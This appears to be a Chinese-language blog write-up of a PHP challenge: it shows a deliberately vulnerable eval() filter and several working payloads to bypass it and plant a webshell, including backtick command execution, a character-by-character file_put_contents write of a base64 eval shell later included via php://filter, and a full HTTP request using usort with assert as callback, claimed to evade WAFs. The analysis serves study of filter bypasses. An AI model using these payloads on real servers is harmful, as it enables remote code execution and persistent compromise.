我把他的叙述写成代码,大概如下:
<?php $param = $_REQUEST['param']; if(strlen($param)<17 && stripos($param,'eval') === false && stripos($param,'assert') === false) {eval($param); } ?>
那么这个代码怎么拿到webshell?
命令执行的利用
这个是我得到最多的一种答案,大部分人都是利用命令执行来绕过限制,最短的是:
param=`$_GET[1]`;&1=bash
稍长一点的可以用exec:
param=exec($_GET[1]);
本地文件包含的利用(奇技淫巧100%)
那么,文件包含真的不行么?
有一种思路,利用file_put_contents可以将字符一个个地写入一个文件中,大概请求如下:
param=$_GET[a](N,a,8);&a=file_put_contents
file_put_contents的第一个参数是文件名,我传入N。PHP会认为N是一个常量,但我之前并没有定义这个常量,于是PHP就会把它转换成字符串'N';第二个参数是要写入的数据,a也被转换成字符串'a';第三个参数是flag,当flag=8的时候内容会追加在文件末尾,而不是覆盖。
除了file_put_contents,error_log函数效果也类似。
但这个方法有个问题,就是file_put_contents第二个参数如果是符号,就会导致PHP出错,比如param=$_GET[a](N,<,8);&a=file_put_contents
。但如果要写webshell的话,“<”等符号又是必不可少的。
最后请求如下:
# 每次写入一个字符:PD9waHAgZXZhbCgkX1BPU1RbOV0pOw # 最后包含 param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N
成功getshell。
标准答案:利用变长参数特性展开数组
变长参数是PHP5.6新引入的特性,文档在此: PHP: 新特性 - Manual
和Python中的**kwargs
,类似,在PHP中可以使用 func(...$arr)
这样的方式,将$arr
数组展开成多个参数,传入func函数。
再结合我曾提到过的回调后门( 创造tips的秘籍——PHP回调后门 | 离别歌 ),即可构造一个完美的利用,数据包如下:
POST /test.php?1[]=test&1[]=var_dump($_SERVER);&2=assert HTTP/1.1 Host: localhost:8081 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 22 param=usort(...$_GET);
效果图:
大概过程就是,GET变量被展开成两个参数['test', 'phpinfo();']
和assert
,传入usort函数。usort函数的第二个参数是一个回调函数assert
,其调用了第一个参数中的phpinfo();
。修改phpinfo();
为webshell即可。
最后说一下,这个方法基本无视任何WAF。